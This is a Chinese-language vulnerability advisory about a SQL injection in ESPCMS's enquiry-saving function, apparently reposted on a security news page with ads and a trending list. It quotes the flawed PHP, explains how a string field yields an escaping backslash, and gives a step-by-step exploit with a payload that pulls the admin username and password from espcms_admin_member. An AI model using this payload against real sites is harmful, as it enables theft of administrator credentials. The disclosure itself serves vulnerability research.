ESPCMS SQL注入
- 发布时间:2016-08-09
- 公开时间:N/A
- 漏洞类型:SQL注入
- 危害等级:高
- 漏洞编号:xianzhi-2016-08-37542369
- 测试版本:N/A
漏洞详情
interface\special.php 行134起function in_enquirysave() {
……省略部分代码……
$content = trim($this->fun->accept('content', 'P', true, true));
$content = $this->fun->substr($content, 500);
$amount = $this->fun->accept('amount', 'P');
$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');
……省略部分代码……
foreach ($did as $key => $value) {
$value = intval($value);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
}
}
$tsn来自$_POST 这里没有判断$tsn是否是一个数组就直接在sql语句中使用了$tsn[$key]
当$tsn是字符串的时候 $tsn[$key]其实取的就是字符串的第$key个字符
当第一次foreach的时候 $did是一个一维数组 $key的值就是0 $tsn[$key]取的就是$tsn的第一个字符
如果我们提交$_POST['tsn']=' 转义后 $tsn="\'" $tsn[0]就变成了"\" 于是sql语句中的单引号就成功被转义了,$ptitle可控 所以造成了注入
网站开放注册会员的前提下 可以直接将注入结果写入title字段在会员中心读取。
网站关闭注册会员的话,也可以直接报错注入或者延时注入。
演示如下
首先随便选一个商品 点击询价 内容随便写 提交的时候抓包拦下来
将tsn字段修改为' 或者\ (任意可被转义的字符)
ptitle[]字段修改为注入代码
,(select concat(username,0x3a,password) from espcms_admin_member limit 1),1,2)#
进入会员中心-》询价列表即可查看注入结果
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 话实干 7904259
- 2 市委书记发问:你不懂怎么去管人家 7809324
- 3 妻子切除输卵管几天后丈夫提离婚 7712430
- 4 这是2025年属于中国人的仪式感 7617348
- 5 台北砍人案一伤者感染艾滋病 7522625
- 6 印度大坝突然放水 巴基斯坦怒了 7423707
- 7 净网:网警斩断“脚本黄牛”链条 7332171
- 8 宇树机器人给王力宏伴舞 马斯克点赞 7239018
- 9 男子偷170万元黄金藏祖坟墓碑后 7143961
- 10 韩红为小洛熙发声 7043556




![聂小雨你看我有什么![打call] ](https://imgs.knowsafe.com:8087/img/aideep/2022/2/13/02174f7e485066f5455b826991210bda.jpg?w=250)


HackerEye
